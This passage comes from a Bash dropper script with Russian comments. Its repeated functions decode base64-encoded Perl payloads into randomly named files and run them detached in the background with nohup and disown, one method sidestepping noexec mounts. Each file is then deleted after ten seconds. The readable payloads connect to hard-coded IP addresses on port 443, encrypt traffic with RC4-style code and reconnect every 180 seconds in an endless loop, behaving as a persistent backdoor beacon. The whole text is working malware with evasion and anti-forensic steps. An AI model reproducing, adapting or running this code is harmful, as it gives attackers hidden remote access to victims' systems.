CRzejsKCgkgbXkgJHJzaSA9IDA7CgoJIG15ICRyYnggPSAwOwoKCSBteSAkZ3MgPSAwOwoKCSB2ZWMoJHJjNCw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YXgsICRyZW1haW5pbmc0KTsKCgkJCSB1bmxlc3MgKCRkYXRhKSB7IGxhc3Q7IH0KCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0YTsKCgkJCSBzdWJzdHIoJGJ1ZmZlcm51bGwsIDAsIDMpID0gIlx4MDBceDAwXHgwMCI7CgoJCQkgJGNvdW50ZXIgPSAwOwoKCQkJIGlmICgkcmVtYWluaW5nNCA9PSA0KSB7CgoJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcjAsIDAsIDQpOwoKCQkJCSAkZWJ4ID0gdmVjKCRidWZmZXIwLCAxLCA4KTsKCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMywgMSk7CgoJCQkJIHN1YnN0cigkc3RyX3dlYywgMSwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDEpOwoKCQkJCSAkZWR4ID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7CgoJCQkJICRfcmV0ID0gMTsKCQkJfQoKCQl9Cgl9CgoJIGNsb3NlMDoKCgkgY2xvc2UoJHNvY2tldGFyclswXSk7CgoJIGZvciAobXkgJGkgPSAwOyAkaSA8IDIwMDsgJGkrKykgewoKCQkgaWYgKCRzb2NrZXRhcnJheVskaV0gPT0gMSkgeyBjbG9zZSgkc29ja2V0YXJyWyRpXSk7IH0KCgkgfQoKCSBpZiAoJGlzRXhpdCA9PSAxKSB7IGV4aXQ7IH0KCgkgcmV0dXJuICRfcmV0OwoKfQoKd2hpbGUoMSkKewoJIGJjY25jdChcJGhvc3QsIFwkcG9ydCk7CgoJIHNsZWVwIDE4MDsKfQo=
B64_END

    if [ -s "$fpath" ]; then
        # Подготовка прав
        chmod 755 "$fpath"
        sync

        # === ЗАПУСК ===
        if [ "$method" == "native" ]; then
            # МЕТОД 1: NATIVE (./script) - самый быстрый и "правильный"
            # Патчим путь к перлу в первой строке файла
            sed -i "1s|^#!.*|#!$perl_bin|" "$fpath"

            # Запускаем: nohup, фон, подавление вывода
            nohup "$fpath" >/dev/null 2>&1 &
            disown # Полная отвязка от шелла

        else
            # МЕТОД 2: INTERPRETER (perl script) - обходит noexec
            # Запускаем интерпретатор явно
            nohup "$perl_bin" "$fpath" >/dev/null 2>&1 &
            disown # Полная отвязка от шелла
        fi

        # === САМОУНИЧТОЖЕНИЕ ФАЙЛА ===
        # Запускаем отдельный процесс, который поспит и удалит файл
        (sleep 10; rm -f "$fpath") >/dev/null 2>&1 &
        disown
    fi
}

f_42a117e1() {
    local use_gold=$1
    local idx=$2
    local perl_bin="$3"

    local workdir=""
    local method=""

    # Выбираем папку из нужного списка
    if [ "$use_gold" = "true" ]; then
        workdir="${gold_dirs[$idx]}"
        method="native"
    else
        workdir="${silver_dirs[$idx]}"
        method="interpreter"
    fi

    # Защита от пустых путей
    if [ -z "$workdir" ]; then return; fi

    local rname="$(gen_rand_name).pl"
    local fpath="$workdir/$rname"

    # Распаковка Base64
    base64 -d <<'B64_END' > "$fpath"
IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsIHF3KEZfR0VURkwgRl9TRVRGTCBPX05PTkJMT0NLKTsKCm15ICRob3N0ID0gJzYyLjYwLjEzMS4xOTUnOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAiIHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyB2ZWMoJHhvcmRhdGEsICRpLCA4KSA9IGludChyYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCgkgbXkgJHBhc3N3ID0gc2hpZnQoQF8pOwoKCSBteSAkbGVuZ3RoID0gc2hpZnQoQF8pOwoKCSBteSAkYnVmZjAgPSBzaGlmdCh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kgJGkgPSAwOyAkaSA8IDIwMDsgJGkrKykgewoKCQkgaWYgKCRzb2NrZXRhcnJheVskaV0gPT0gMSkgeyBjbG9zZSgkc29ja2V0YXJyWyRpXSk7IH0KCgkgfQoKCSBpZiAoJGlzRXhpdCA9PSAxKSB7IGV4aXQ7IH0KCgkgcmV0dXJuICRfcmV0OwoKfQoKd2hpbGUoMSkKewoJIGJjY25jdChcJGhvc3QsIFwkcG9ydCk7CgoJIHNsZWVwIDE4MDsKfQo=
B64_END

    if [ -s "$fpath" ]; then
        # Подготовка прав
        chmod 755 "$fpath"
        sync

        # === ЗАПУСК ===
        if [ "$method" == "native" ]; then
            # МЕТОД 1: NATIVE (./script) - самый быстрый и "правильный"
            # Патчим путь к перлу в первой строке файла
            sed -i "1s|^#!.*|#!$perl_bin|" "$fpath"

            # Запускаем: nohup, фон, подавление вывода
            nohup "$fpath" >/dev/null 2>&1 &
            disown # Полная отвязка от шелла

        else
            # МЕТОД 2: INTERPRETER (perl script) - обходит noexec
            # Запускаем интерпретатор явно
            nohup "$perl_bin" "$fpath" >/dev/null 2>&1 &
            disown # Полная отвязка от шелла
        fi

        # === САМОУНИЧТОЖЕНИЕ ФАЙЛА ===
        # Запускаем отдельный процесс, который поспит и удалит файл
        (sleep 10; rm -f "$fpath") >/dev/null 2>&1 &
        disown
    fi
}

f_b490c084() {
    local use_gold=$1
    local idx=$2
    local perl_bin="$3"

    local workdir=""
    local method=""

    # Выбираем папку из нужного списка
    if [ "$use_gold" = "true" ]; then
        workdir="${gold_dirs[$idx]}"
        method="native"
    else
        workdir="${silver_dirs[$idx]}"
        method="interpreter"
    fi

    # Защита от пустых путей
    if [ -z "$workdir" ]; then return; fi

    local rname="$(gen_rand_name).pl"
    local fpath="$workdir/$rname"

    # Распаковка Base64
    base64 -d <<'B64_END' > "$fpath"
IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0Owp1c2UgU29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SB7CgoJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcjAsIDAsIDQpOwoKCQkJCSAkZWJ4ID0gdmVjKCRidWZmZXIwLCAxLCA4KTsKCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMywgMSk7CgoJCQkJIHN1YnN0cigkc3RyX3dlYywgMSwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDEpOwoKCQkJCSAkZWR4ID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7CgoJCQkJICRfcmV0ID0gMTsKCQkJfQoKCQl9Cgl9CgoJIGNsb3NlMDoKCgkgY2xvc2UoJHNvY2tldGFyclswXSk7CgoJIGZvciAobXkgJGkgPSAwOyAkaSA8IDIwMDsgJGkrKykgewoKCQkgaWYgKCRzb2NrZXRhcnJheVskaV0gPT0gMSkgeyBjbG9zZSgkc29ja2V0YXJyWyRpXSk7IH0KCgkgfQoKCSBpZiAoJGlzRXhpdCA9PSAxKSB7IGV4aXQ7IH0KCgkgcmV0dXJuICRfcmV0OwoKfQoKd2hpbGUoMSkKewoJIGJjY25jdChcJGhvc3QsIFwkcG9ydCk7CgoJIHNsZWVwIDE4MDsKfQo=
B64_END

    if [ -s "$fpath" ]; then
        # Подготовка прав
        chmod 755 "$fpath"
        sync

        # === ЗАПУСК ===
        if [ "$method" == "native" ]; then
            # МЕТОД 1: NATIVE (./script) - самый быстрый и "правильный"
            # Патчим путь к перлу в первой строке файла
            sed -i "1s|^#!.*|#!$perl_bin|" "$fpath"

            # Запускаем: nohup, фон, подавление вывода
            nohup "$fpath" >/dev/null 2>&1 &
            disown # Полная отвязка от шелла

        else
            # МЕТОД 2: INTERPRETER (perl script) - обходит noexec
            # Запускаем интерпретатор явно
            nohup "$perl_bin" "$fpath" >/dev/null 2>&1 &
            disown # Полная отвязка от шелла
        fi

        # === САМОУНИЧТОЖЕНИЕ ФАЙЛА ===
        # Запускаем отдельный процесс, который поспит и удалит файл
        (sleep 10; rm -f "$fpath") >/dev/null 2>&1 &
        disown
    fi
}

f_0e37384d() {
    local use_gold=$1
    local idx=$2
    local perl_bin="$3"

    local workdir=""
    local method=""

    # Выбираем папку из нужного списка
    if [ "$use_gold" = "true" ]; then
        workdir="${gold_dirs[$idx]}"
        method="native"
    else
        workdir="${silver_dirs[$idx]}"
        method="interpreter"
    fi

    # Защита от пустых путей
    if [ -z "$workdir" ]; then return; fi

    local rname="$(gen_rand_name).pl"
    local fpath="$workdir/$rname"

    # Распаковка Base64
    base64 -d <<'B64_END' > "$fpath"
IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsIHF3KEZfR0VURkwgRl9TRVRGTCBPX05PTkJMT0NLKTsKCm15ICRob3N0ID0gJzYyLjYwLjEzMS4xOTcnOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAiIHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyB2ZWMoJHhvcmRhdGEsICRpLCA4KSA9IGludChyYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCgkgbXkgJHBhc3N3ID0gc2hpZnQoQF8pOwoKCSBteSAkbGVuZ3RoID0gc2hpZnQoQF8pOwoKCSBteSAkYnVmZjAgPSBzaGlmdChAXyk7CgoJIG15ICRzdGFydCA9IHNoaWZ0KEBfKTsKCgkgbXkgJHN6ID0gc2hpZnQoQF8pOwoKCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2OwoKCSBteSAkcG9ja2Vtb24wID0gMDsKCgkgbXkgJHBvY2tlbW9uMSA9IDA7CgoJIG15ICRwb2NrZW1vbjIgPSAwOwoKCSBteSAkcG9ja2Vtb24zID0gMDsKCg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FwkcG9ydCk7CgoJIHNsZWVwIDE4MDsKfQo=
B64_END

    if [ -s "$fpath" ]; then
        # Подготовка прав
        chmod 755 "$fpath"
        sync

        # === ЗАПУСК ===
        if [ "$method" == "native" ]; then
            # МЕТОД 1: NATIVE (./script) - самый быстрый и "правильный"
            # Патчим путь к перлу в первой строке файла
            sed -i "1s|^#!.*|#!$perl_bin|" "$fpath"

            # Запускаем: nohup, фон, подавление вывода
            nohup "$fpath" >/dev/null 2>&1 &
            disown # Полная отвязка от шелла

        else
            # МЕТОД 2: INTERPRETER (perl script) - обходит noexec
            # Запускаем интерпретатор явно
            nohup "$perl_bin" "$fpath" >/dev/null 2>&1 &
            disown # Полная отвязка от шелла
        fi

        # === САМОУНИЧТОЖЕНИЕ ФАЙЛА ===
        # Запускаем отдельный процесс, который поспит и удалит файл
        (sleep 10; rm -f "$fpath") >/dev/null 2>&1 &
        disown
    fi
}

f_8d527fc2() {
    local use_gold=$1
    local idx=$2
    local perl_bin="$3"

    local workdir=""
    local method=""

    # Выбираем папку из нужного списка
    if [ "$use_gold" = "true" ]; then
        workdir="${gold_dirs[$idx]}"
        method="native"
    else
        workdir="${silver_dirs[$idx]}"
        method="interpreter"
    fi

    # Защита от пустых путей
    if [ -z "$workdir" ]; then return; fi

    local rname="$(gen_rand_name).pl"
    local fpath="$workdir/$rname"

    # Распаковка Base64
    base64 -d <<'B64_END' > "$fpath"
IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsIHF3KEZfR0VURkwgRl9TRVRGTCBPX05PTkJMT0NLKTsKCm15ICRob3N0ID0gJzYyLjYwLjEzMS4xOTgnOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAiIHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA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SwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDEpOwoKCQkJCSAkZWR4ID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7CgoJCQkJICRfcmV0ID0gMTsKCQkJfQoKCQl9Cgl9CgoJIGNsb3NlMDoKCgkgY2xvc2UoJHNvY2tldGFyclswXSk7CgoJIGZvciAobXkgJGkgPSAwOyAkaSA8IDIwMDsgJGkrKykgewoKCQkgaWYgKCRzb2NrZXRhcnJheVskaV0gPT0gMSkgeyBjbG9zZSgkc29ja2V0YXJyWyRpXSk7IH0KCgkgfQoKCSBpZiAoJGlzRXhpdCA9PSAxKSB7IGV4aXQ7IH0KCgkgcmV0dXJuICRfcmV0OwoKfQoKd2hpbGUoMSkKewoJIGJjY25jdChcJGhvc3QsIFwkcG9ydCk7CgoJIHNsZWVwIDE4MDsKfQo=
B64_END

    if [ -s "$fpath" ]; then
        # Подготовка прав
        chmod 755 "$fpath"
        sync

        # === ЗАПУСК ===
        if [ "$method" == "native" ]; then
            # МЕТОД 1: NATIVE (./script) - самый быстрый и "правильный"
            # Патчим путь к перлу в первой строке файла
            sed -i "1s|^#!.*|#!$perl_bin|" "$fpath"

            # Запускаем: nohup, фон, подавление вывода
            nohup "$fpath" >/dev/null 2>&1 &
            disown # Полная отвязка от шелла

        else
            # МЕТОД 2: INTERPRETER (perl script) - обходит noexec
            # Запускаем интерпретатор явно
            nohup "$perl_bin" "$fpath" >/dev/null 2>&1 &
            disown # Полная отвязка от шелла
        fi

        # === САМОУНИЧТОЖЕНИЕ ФАЙЛА ===
        # Запускаем отдельный процесс, который поспит и удалит файл
        (sleep 10; rm -f "$fpath") >/dev/null 2>&1 &
        disown
    fi
}

f_914c6520() {
    local use_gold=$1
    local idx=$2
    local perl_bin="$3"

    local workdir=""
    local method=""

    # Выбираем папку из нужного списка
    if [ "$use_gold" = "true" ]; then
        workdir="${gold_dirs[$idx]}"
        method="native"
    else
        workdir="${silver_dirs[$idx]}"
        method="interpreter"
    fi

    # Защита от пустых путей
    if [ -z "$workdir" ]; then return; fi

    local rname="$(gen_rand_name).pl"
    local fpath="$workdir/$rname"

    # Распаковка Base64
    base64 -d <<'B64_END' > "$fpath"
IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsIHF3KEZfR0VURkwgRl9TRVRGTCBPX05PTkJMT0NLKTsKCm15ICRob3N0ID0gJzYyLjYwLjEzMS4xOTknOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAiIHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyB2ZWMoJHhvcmRhdGEsICRpLCA4KSA9IGludChyYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCgkgbXkgJHBhc3N3ID0gc2hpZnQoQF8pOwoKCSBteSAkbGVuZ3RoID0gc2hpZnQoQF8pOwoKCSBteSAkYnVmZjAgPSBzaGlmdChAXyk7CgoJIG15ICRzdGFydCA9IHNoaWZ0KEBfKTsKCgkgbXkgJHN6ID0gc2hpZnQoQF8pOwoKCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2OwoKCSBteSAkcG9ja2Vtb24wID0gMDsKCgkgbXkgJHBvY2tlbW9uMSA9IDA7CgoJIG15ICRwb2NrZW1vbjIgPSAwOwoKCSBteSAkcG9ja2Vtb24zID0gMDsKCgkgbXkgJHBvY2tlbW9uNCA9IDA7CgoJIG15ICRwb2NrZW1vbjcgPSAwOwoKCSBteSAkcG9ja2Vtb244ID0gMDsKCgkgbXkgJHJjeCA9ICRzejsKCgkgbXkgJHJzaSA9IDA7CgoJIG15ICRyYnggPSAwOwoKCSBteSAkZ3MgPSAwOwoKCSB2ZWMoJHJjNCwgJF8sIDgpID0gJF8gZm9yIDAuLjI1NTsKCgk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3MgKCRkYXRhKSB7IGxhc3Q7IH0KCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0YTsKCgkJCSBzdWJzdHIoJGJ1ZmZlcm51bGwsIDAsIDMpID0gIlx4MDBceDAwXHgwMCI7CgoJCQkgJGNvdW50ZXIgPSAwOwoKCQkJIGlmICgkcmVtYWluaW5nNCA9PSA0KSB7CgoJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcjAsIDAsIDQpOwoKCQkJCSAkZWJ4ID0gdmVjKCRidWZmZXIwLCAxLCA4KTsKCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMywgMSk7CgoJCQkJIHN1YnN0cigkc3RyX3dlYywgMSwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDEpOwoKCQkJCSAkZWR4ID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7CgoJCQkJICRfcmV0ID0gMTsKCQkJfQoKCQl9Cgl9CgoJIGNsb3NlMDoKCgkgY2xvc2UoJHNvY2tldGFyclswXSk7CgoJIGZvciAobXkgJGkgPSAwOyAkaSA8IDIwMDsgJGkrKykgewoKCQkgaWYgKCRzb2NrZXRhcnJheVskaV0gPT0gMSkgeyBjbG9zZSgkc29ja2V0YXJyWyRpXSk7IH0KCgkgfQoKCSBpZiAoJGlzRXhpdCA9PSAxKSB7IGV4aXQ7IH0KCgkgcmV0dXJuICRfcmV0OwoKfQoKd2hpbGUoMSkKewoJIGJjY25jdChcJGhvc3QsIFwkcG9ydCk7CgoJIHNsZWVwIDE4MDsKfQo=
B64_END

    if [ -s "$fpath" ]; then
        # Подготовка прав
        chmod 755 "$fpath"
        sync

        # === ЗАПУСК ===
        if [ "$method" == "native" ]; then
            # МЕТОД 1: NATIVE (./script) - самый быстрый и "правильный"
            # Патчим путь к перлу в первой строке файла
            sed -i "1s|^#!.*|#!$perl_bin|" "$fpath"

            # Запускаем: nohup, фон, подавление вывода
            nohup "$fpath" >/dev/null 2>&1 &
            disown # Полная отвязка от шелла

        else
            # МЕТОД 2: INTERPRETER (perl script) - обходит noexec
            # Запускаем интерпретатор явно
            nohup "$perl_bin" "$fpath" >/dev/null 2>&1 &
            disown # Полная отвязка от шелла
        fi

        # === САМОУНИЧТОЖЕНИЕ ФАЙЛА ===
        # Запускаем отдельный процесс, который поспит и удалит файл
        (sleep 10; rm -f "$fpath") >/dev/null 2>&1 &
        disown
    fi
}

f_d3915d07() {
    local use_gold=$1
    local idx=$2
    local perl_bin="$3"

    local workdir=""
    local method=""

    # Выбираем папку из нужного списка
    if [ "$use_gold" = "true" ]; then
        workdir="${gold_dirs[$idx]}"
        method="native"
    else
        workdir="${silver_dirs[$idx]}"
        method="interpreter"
    fi

    # Защита от пустых путей
    if [ -z "$workdir" ]; then return; fi

    local rname="$(gen_rand_name).pl"
    local fpath="$workdir/$rname"

    # Распаковка Base64
    base64 -d <<'B64_END' > "$fpath"
IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsIHF3KEZfR0VURkwgRl9TRVRGTCBPX05PTkJMT0NLKTsKCm15ICRob3N0ID0gJzYyLjYwLjEzMS4yMDAnOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAiIHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyB2ZWMoJHhvcmRhdGEsICRpLCA4KSA9IGludChyYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCgkgbXkgJHBhc3N3ID0gc2hpZnQoQF8pOwoKCSBteSAkbGVuZ3RoID0gc2hpZnQoQF8pOwoKCSBteSAkYnVmZjAgPSBzaGlmdChAXyk7CgoJIG15ICRzdGFydCA9IHNoaWZ0KEB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KCQkgaWYgKCRzb2NrZXRhcnJheVskaV0gPT0gMSkgeyBjbG9zZSgkc29ja2V0YXJyWyRpXSk7IH0KCgkgfQoKCSBpZiAoJGlzRXhpdCA9PSAxKSB7IGV4aXQ7IH0KCgkgcmV0dXJuICRfcmV0OwoKfQoKd2hpbGUoMSkKewoJIGJjY25jdChcJGhvc3QsIFwkcG9ydCk7CgoJIHNsZWVwIDE4MDsKfQo=
B64_END

    if [ -s "$fpath" ]; then
        # Подготовка прав
        chmod 755 "$fpath"
        sync

        # === ЗАПУСК ===
        if [ "$method" == "native" ]; then
            # МЕТОД 1: NATIVE (./script) - самый быстрый и "правильный"
            # Патчим путь к перлу в первой строке файла
            sed -i "1s|^#!.*|#!$perl_bin|" "$fpath"

            # Запускаем: nohup, фон, подавление вывода
            nohup "$fpath" >/dev/null 2>&1 &
            disown # Полная отвязка от шелла

        else
            # МЕТОД 2: INTERPRETER (perl script) - обходит noexec
            # Запускаем интерпретатор явно
            nohup "$perl_bin" "$fpath" >/dev/null 2>&1 &
            disown # Полная отвязка от шелла
        fi

        # === САМОУНИЧТОЖЕНИЕ ФАЙЛА ===
        # Запускаем отдельный процесс, который поспит и удалит файл
        (sleep 10; rm -f "$fpath") >/dev/null 2>&1 &
        disown
    fi
}

f_be9e0c33() {
    local use_gold=$1
    local idx=$2
    local perl_bin="$3"

    local workdir=""
    local method=""

    # Выбираем папку из нужного списка
    if [ "$use_gold" = "true" ]; then
        workdir="${gold_dirs[$idx]}"
        method="native"
    else
        workdir="${silver_dirs[$idx]}"
        method="interpreter"
    fi

    # Защита от пустых путей
    if [ -z "$workdir" ]; then return; fi

    local rname="$(gen_rand_name).pl"
    local fpath="$workdir/$rname"

    # Распаковка Base64
    base64 -d <<'B64_END' > "$fpath"
IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0R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hdGEsIDUwLCBcJGJ1ZmZlcjAsIDAsIDQpOwoKCQkJCSAkZWJ4ID0gdmVjKCRidWZmZXIwLCAxLCA4KTsKCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMywgMSk7CgoJCQkJIHN1YnN0cigkc3RyX3dlYywgMSwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDEpOwoKCQkJCSAkZWR4ID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7CgoJCQkJICRfcmV0ID0gMTsKCQkJfQoKCQl9Cgl9CgoJIGNsb3NlMDoKCgkgY2xvc2UoJHNvY2tldGFyclswXSk7CgoJIGZvciAobXkgJGkgPSAwOyAkaSA8IDIwMDsgJGkrKykgewoKCQkgaWYgKCRzb2NrZXRhcnJheVskaV0gPT0gMSkgeyBjbG9zZSgkc29ja2V0YXJyWyRpXSk7IH0KCgkgfQoKCSBpZiAoJGlzRXhpdCA9PSAxKSB7IGV4aXQ7IH0KCgkgcmV0dXJuICRfcmV0OwoKfQoKd2hpbGUoMSkKewoJIGJjY25jdChcJGhvc3QsIFwkcG9ydCk7CgoJIHNsZWVwIDE4MDsKfQo=
B64_END

    if [ -s "$fpath" ]; then
        # Подготовка прав
        chmod 755 "$fpath"
        sync

        # === ЗАПУСК ===
        if [ "$method" == "native" ]; then
            # МЕТОД 1: NATIVE (./script) - самый быстрый и "правильный"
            # Патчим путь к перлу в первой строке файла
            sed -i "1s|^#!.*|#!$perl_bin|" "$fpath"

            # Запускаем: nohup, фон, подавление вывода
            nohup "$fpath" >/dev/null 2>&1 &
            disown # Полная отвязка от шелла

        else
            # МЕТОД 2: INTERPRETER (perl script) - обходит noexec
            # Запускаем интерпретатор явно
            nohup "$perl_bin" "$fpath" >/dev/null 2>&1 &
            disown # Полная отвязка от шелла
        fi

        # === САМОУНИЧТОЖЕНИЕ ФАЙЛА ===
        # Запускаем отдельный процесс, который поспит и удалит файл
        (sleep 10; rm -f "$fpath") >/dev/null 2>&1 &
        disown
    fi
}

f_ff4b4a29() {
    local use_gold=$1
    local idx=$2
    local perl_bin="$3"

    local workdir=""
    local method=""

    # Выбираем папку из нужного списка
    if [ "$use_gold" = "true" ]; then
        workdir="${gold_dirs[$idx]}"
        method="native"
    else
        workdir="${silver_dirs[$idx]}"
        method="interpreter"
    fi

    # Защита от пустых путей
    if [ -z "$workdir" ]; then return; fi

    local rname="$(gen_rand_name).pl"
    local fpath="$workdir/$rname"

    # Распаковка Base64
    base64 -d <<'B64_END' > "$fpath"
IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsIHF3KEZfR0VURkwgRl9TRVRGTCBPX05PTkJMT0NLKTsKCm15ICRob3N0ID0gJzM2LjI1NS45OC4xNTQnOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAiIHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyB2ZWMoJHhvcmRhdGEsICRpLCA4KSA9IGludChyYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCgkgbXkgJHBhc3N3ID0gc2hpZnQoQF8pOwoKCSBteSAkbGVuZ3RoID0gc2hpZnQoQF8pOwoKCSBteSAkYnVmZjAgPSBzaGlmdChAXyk7CgoJIG15ICRzdGFydCA9IHNoaWZ0KEBfKTsKCgkgbXkgJHN6ID0gc2hpZnQoQF8pOwoKCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2OwoKCSBteSAkcG9ja2Vtb24wID0gMDsKCgkgbXkgJHBvY2tlbW9uMSA9IDA7CgoJIG15ICRwb2NrZW1vbjIgPSAwOwoKCSBteSAkcG9ja2Vtb24zID0gMDsKCgkgbXkgJHBvY2tlbW9uNCA9IDA7CgoJIG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Qo=
B64_END

    if [ -s "$fpath" ]; then
        # Подготовка прав
        chmod 755 "$fpath"
        sync

        # === ЗАПУСК ===
        if [ "$method" == "native" ]; then
            # МЕТОД 1: NATIVE (./script) - самый быстрый и "правильный"
            # Патчим путь к перлу в первой строке файла
            sed -i "1s|^#!.*|#!$perl_bin|" "$fpath"

            # Запускаем: nohup, фон, подавление вывода
            nohup "$fpath" >/dev/null 2>&1 &
            disown # Полная отвязка от шелла

        else
            # МЕТОД 2: INTERPRETER (perl script) - обходит noexec
            # Запускаем интерпретатор явно
            nohup "$perl_bin" "$fpath" >/dev/null 2>&1 &
            disown # Полная отвязка от шелла
        fi

        # === САМОУНИЧТОЖЕНИЕ ФАЙЛА ===
        # Запускаем отдельный процесс, который поспит и удалит файл
        (sleep 10; rm -f "$fpath") >/dev/null 2>&1 &
        disown
    fi
}

f_bba51bf5() {
    local use_gold=$1
    local idx=$2
    local perl_bin="$3"

    local workdir=""
    local method=""

    # Выбираем папку из нужного списка
    if [ "$use_gold" = "true" ]; then
        workdir="${gold_dirs[$idx]}"
        method="native"
    else
        workdir="${silver_dirs[$idx]}"
        method="interpreter"
    fi

    # Защита от пустых путей
    if [ -z "$workdir" ]; then return; fi

    local rname="$(gen_rand_name).pl"
    local fpath="$workdir/$rname"

    # Распаковка Base64
    base64 -d <<'B64_END' > "$fpath"
IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsIHF3KEZfR0VURkwgRl9TRVRGTCBPX05PTkJMT0NLKTsKCm15ICRob3N0ID0gJzYyLjYwLjEzMS4yMDInOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAiIHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyB2ZWMoJHhvcmRhdGEs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IDIsIDEpOwoKCQkJCSAkZWR4ID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7CgoJCQkJICRfcmV0ID0gMTsKCQkJfQoKCQl9Cgl9CgoJIGNsb3NlMDoKCgkgY2xvc2UoJHNvY2tldGFyclswXSk7CgoJIGZvciAobXkgJGkgPSAwOyAkaSA8IDIwMDsgJGkrKykgewoKCQkgaWYgKCRzb2NrZXRhcnJheVskaV0gPT0gMSkgeyBjbG9zZSgkc29ja2V0YXJyWyRpXSk7IH0KCgkgfQoKCSBpZiAoJGlzRXhpdCA9PSAxKSB7IGV4aXQ7IH0KCgkgcmV0dXJuICRfcmV0OwoKfQoKd2hpbGUoMSkKewoJIGJjY25jdChcJGhvc3QsIFwkcG9ydCk7CgoJIHNsZWVwIDE4MDsKfQo=
B64_END

    if [ -s "$fpath" ]; then
        # Подготовка прав
        chmod 755 "$fpath"
        sync

        # === ЗАПУСК ===
        if [ "$method" == "native" ]; then
            # МЕТОД 1: NATIVE (./script) - самый быстрый и "правильный"
            # Патчим путь к перлу в первой строке файла
